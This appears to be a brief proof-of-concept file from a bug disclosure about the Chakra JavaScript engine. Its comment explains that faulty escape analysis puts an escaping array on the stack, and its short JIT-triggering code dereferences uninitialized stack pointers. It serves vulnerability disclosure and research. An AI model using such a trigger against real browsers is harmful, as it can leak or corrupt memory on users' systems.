/* Escape analysis: https://en.wikipedia.org/wiki/Escape_analysis Chakra fails to detect if "tmp" escapes the scope, allocates it to the stack. This may lead to dereference uninitialized stack values. PoC: */ function opt() { let tmp = []; tmp[0] = tmp; return tmp[0]; } function main() { for (let i = 0; i < 0x1000; i++) { opt(); } print(opt()); // deref uninitialized stack pointers! } main();